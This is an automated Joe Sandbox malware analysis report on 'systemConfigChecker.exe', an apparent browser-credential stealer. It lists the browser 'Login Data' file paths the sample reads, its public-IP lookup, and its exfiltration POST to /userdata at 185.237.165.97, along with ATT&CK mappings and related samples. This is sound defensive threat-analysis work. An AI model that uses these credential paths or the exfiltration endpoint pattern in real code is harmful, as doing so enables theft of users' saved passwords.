Edit tour

Windows Analysis Report
systemConfigChecker.exe

Overview

General Information

Sample name:	systemConfigChecker.exe
Analysis ID:	1569875
MD5:	218954f9dd70247e51af8a30940d5c33
SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate network shares

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Detected potential crypto function

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Classification

Process Tree

System is w10x64

systemConfigChecker.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\systemConfigChecker.exe" MD5: 218954F9DD70247E51AF8A30940D5C33)

conhost.exe (PID: 2392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Source: systemConfigChecker.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: systemConfigChecker.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: systemConfigChecker.exe

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E133CD0 memset,NetUserEnum,NetApiBufferFree,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF64E133CD0

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP/1.0Host: api.ipify.org

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /userdata HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WebKitFormBoundaryUser-Agent: WinHTTP/1.0Content-Length: 96458Host: 185.237.165.97

Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/a
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdata
Source: systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataK
Source: systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataP
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataW
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97:80/userdata
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0C6000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/A
Source: systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/a
Source: systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:80/

Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E131B50	0_2_00007FF64E131B50
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E135D80	0_2_00007FF64E135D80
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E134A40	0_2_00007FF64E134A40
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E134E50	0_2_00007FF64E134E50
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E135510	0_2_00007FF64E135510

Source: classification engine

Classification label: mal52.spyw.winEXE@2/1@1/2

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E133780 GetLogicalDrives,memset,GetDiskFreeSpaceExA,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF64E133780

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2392:120:WilError_03

Source: systemConfigChecker.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: systemConfigChecker.exe, 00000000.00000003.2315033019.0000028BAC15A000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC13A000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2315336527.0000028BAC13A000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2315336527.0000028BAC175000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2315033019.0000028BAC16B000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314608886.0000028BAC14F000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2315202946.0000028BAC147000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314608886.0000028BAC144000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\systemConfigChecker.exe "C:\Users\user\Desktop\systemConfigChecker.exe"
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: systemConfigChecker.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: systemConfigChecker.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: systemConfigChecker.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: systemConfigChecker.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: systemConfigChecker.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: systemConfigChecker.exe

Source: systemConfigChecker.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: systemConfigChecker.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: systemConfigChecker.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: systemConfigChecker.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: systemConfigChecker.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF64E133AA0

Source: C:\Users\user\Desktop\systemConfigChecker.exe TID: 6392

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\systemConfigChecker.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	File Volume queried: \Device\CdRom0\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E133560 GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF64E133560

Source: systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2311270650.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW .

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E13BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF64E13BFAC

Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E13C150 SetUnhandledExceptionFilter,	0_2_00007FF64E13C150
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E13BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF64E13BFAC
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: 0_2_00007FF64E13BB00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF64E13BB00

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF64E134640

Source: C:\Users\user\Desktop\systemConfigChecker.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E13C1BC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF64E13C1BC

Source: C:\Users\user\Desktop\systemConfigChecker.exe

Code function: 0_2_00007FF64E134180 GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF64E134180

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		0_2_00007FF64E135510
Source: C:\Users\user\Desktop\systemConfigChecker.exe	Code function: \AppData\Local\Chromium\User Data\Default\Login Data		0_2_00007FF64E135510

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\systemConfigChecker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ov4x28i2.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\systemConfigChecker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials In Files	2 System Time Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://185.237.165.97/userdataK	0%	Avira URL Cloud	safe
http://185.237.165.97/a	0%	Avira URL Cloud	safe
http://185.237.165.97/userdataP	0%	Avira URL Cloud	safe
http://185.237.165.97:80/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/	0%	Avira URL Cloud	safe
http://185.237.165.97/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/userdataW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/A	systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org/a	systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org/	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0C6000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0F9000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97:80/userdata	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdataP	systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC125000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdataK	systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/a	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org:80/	systemConfigChecker.exe, 00000000.00000003.2312241316.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC0E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdata	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdataW	systemConfigChecker.exe, 00000000.00000002.2342271317.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2314734639.0000028BAC112000.00000004.00000020.00020000.00000000.sdmp, systemConfigChecker.exe, 00000000.00000003.2339875647.0000028BAC113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.237.165.97	unknown	France		52195	AP-MEDIA-ASPL	false
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569875
Start date and time:	2024-12-06 10:55:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	systemConfigChecker.exe
Detection:	MAL
Classification:	mal52.spyw.winEXE@2/1@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 29 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: systemConfigChecker.exe

Simulations

Behavior and APIs

Time	Type	Description
04:56:05	API Interceptor	1x Sleep call for process: systemConfigChecker.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.74.152	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	lC7L7oBBMC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0wxckB4Iba.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OHScaqAPjt.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	8JuGuaUaZP.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	lUy4SKlE6A.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AP-MEDIA-ASPL	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.180
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.237.165.180
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
